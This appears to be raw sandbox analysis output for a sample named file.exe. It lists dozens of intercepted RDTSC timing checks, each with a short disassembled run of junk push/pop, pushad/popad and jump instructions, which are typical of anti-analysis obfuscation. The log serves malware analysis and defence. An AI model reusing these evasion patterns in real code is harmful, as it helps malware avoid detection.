Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DEB3 second address: B5DED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F332CB40D0Eh 0x00000012 jl 00007F332CB40D06h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DED1 second address: B5DED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DED5 second address: B5DEDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DEDD second address: B5DEE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6037A second address: B6037F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6037F second address: B60387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60387 second address: B6038B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6038B second address: B6038F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA46AD second address: AA46C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F332CB40D12h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA46C5 second address: AA46DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F332D370A46h 0x00000009 jnp 00007F332D370A46h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA46DB second address: AA46DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B663DD second address: B663EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jg 00007F332D370A46h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74E65 second address: B74E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74E6C second address: B74E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F332D370A46h 0x0000000a jmp 00007F332D370A50h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74E8A second address: B74E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B749B8 second address: B749BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B749BD second address: B749C2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B749C2 second address: B749E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 jmp 00007F332D370A56h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B749E4 second address: B749E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B749E8 second address: B749EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74B3D second address: B74B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnl 00007F332CB40D0Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7782E second address: B77839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77839 second address: B7783D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7783D second address: B77854 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F332D370A4Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77854 second address: B7785B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7D3D8 second address: B7D3DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7D3DC second address: B7D3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7D3E2 second address: B7D401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F332D370A52h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7D401 second address: B7D418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F332CB40D0Ch 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7D418 second address: B7D41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1F36 second address: AB1F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1F3B second address: AB1F5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F332D370A4Ah 0x0000000a jmp 00007F332D370A4Ch 0x0000000f popad 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B88272 second address: B88276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F7A9 second address: B8F7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F7AD second address: B8F7CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007F332CB40D06h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F7CF second address: B8F7D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F332D370A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F7D9 second address: B8F7DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8FAA5 second address: B8FAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jp 00007F332D370A46h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8FBEC second address: B8FBF2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B907D2 second address: B907E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F332D370A4Ch 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B907E4 second address: B907E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B930A1 second address: B930B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jl 00007F332D370A46h 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B930B4 second address: B930BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F332CB40D06h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B930BF second address: B930D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F332D370A4Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B930D2 second address: B930D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B96AF4 second address: B96B19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A51h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F332D370A50h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98985 second address: B9898B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A9B0 second address: B9A9B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A9B6 second address: B9A9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A9BA second address: B9A9D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F332D370A57h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A9D9 second address: B9AA4A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F332CB40D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F332CB40D1Ch 0x00000010 jmp 00007F332CB40D16h 0x00000015 jo 00007F332CB40D0Ah 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 pushad 0x00000021 jmp 00007F332CB40D12h 0x00000026 pushad 0x00000027 jmp 00007F332CB40D0Fh 0x0000002c push ecx 0x0000002d pop ecx 0x0000002e jmp 00007F332CB40D19h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA795E second address: BA7962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB70B5 second address: BB70CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F332CB40D16h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB70CF second address: BB70DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD58A second address: BCD59C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F332CB40D0Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC350 second address: BCC354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC512 second address: BCC527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 popad 0x00000008 push edx 0x00000009 push edi 0x0000000a jnc 00007F332CB40D06h 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC527 second address: BCC531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F332D370A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC531 second address: BCC535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC6AB second address: BCC6CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007F332D370A5Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC6CB second address: BCC6D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC6D1 second address: BCC6DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F332D370A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCFC8 second address: BCCFE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D0Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F332CB40D06h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD284 second address: BCD292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 je 00007F332D370A46h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD292 second address: BCD297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFE74 second address: BCFE9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F332D370A48h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F332D370A57h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFE9E second address: BCFEA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0113 second address: BD0183 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F332D370A4Ah 0x0000000d jmp 00007F332D370A55h 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F332D370A48h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov dl, bl 0x00000030 push 00000004h 0x00000032 push eax 0x00000033 jmp 00007F332D370A4Bh 0x00000038 pop edx 0x00000039 mov edx, dword ptr [ebp+122D227Ah] 0x0000003f call 00007F332D370A49h 0x00000044 push edi 0x00000045 push ebx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0183 second address: BD01B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edi 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edi 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F332CB40D18h 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b jbe 00007F332CB40D0Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD01B9 second address: BD01C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD01C0 second address: BD01C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD044C second address: BD0456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F332D370A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0456 second address: BD045A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4DBC second address: BD4DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F332D370A58h 0x00000009 popad 0x0000000a jmp 00007F332D370A4Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4DEA second address: BD4DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52402B5 second address: 52402D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, ax 0x00000010 movzx esi, di 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52402D8 second address: 52402ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F332CB40D11h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52402ED second address: 52402F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240374 second address: 5240378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240378 second address: 524037E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524037E second address: 5240383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240383 second address: 52403C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F332D370A4Eh 0x0000000a sbb ah, FFFFFFA8h 0x0000000d jmp 00007F332D370A4Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F332D370A56h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52403C6 second address: 52403CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52403CA second address: 52403CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52403CE second address: 52403D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52403D4 second address: 5240452 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F332D370A55h 0x00000009 xor cx, CB26h 0x0000000e jmp 00007F332D370A51h 0x00000013 popfd 0x00000014 jmp 00007F332D370A50h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F332D370A4Dh 0x00000026 add ecx, 7A006B36h 0x0000002c jmp 00007F332D370A51h 0x00000031 popfd 0x00000032 jmp 00007F332D370A50h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240452 second address: 52404CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov si, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F332CB40D15h 0x00000014 xor eax, 232F3DF6h 0x0000001a jmp 00007F332CB40D11h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F332CB40D10h 0x00000026 xor esi, 33F58718h 0x0000002c jmp 00007F332CB40D0Bh 0x00000031 popfd 0x00000032 popad 0x00000033 pop ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F332CB40D15h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52404CA second address: 52404D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524050C second address: 5240510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240510 second address: 524052B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524052B second address: 5240531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240531 second address: 5240566 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F332D370A59h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov cx, di 0x00000018 mov bl, ADh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240566 second address: 524056C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524056C second address: 5240570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52405E0 second address: 52405E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52405E4 second address: 52405EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52405EA second address: 5240640 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d pushad 0x0000000e movzx esi, di 0x00000011 pushfd 0x00000012 jmp 00007F332CB40D19h 0x00000017 and ah, 00000016h 0x0000001a jmp 00007F332CB40D11h 0x0000001f popfd 0x00000020 popad 0x00000021 mov edx, dword ptr [ebp+0Ch] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240640 second address: 5240644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
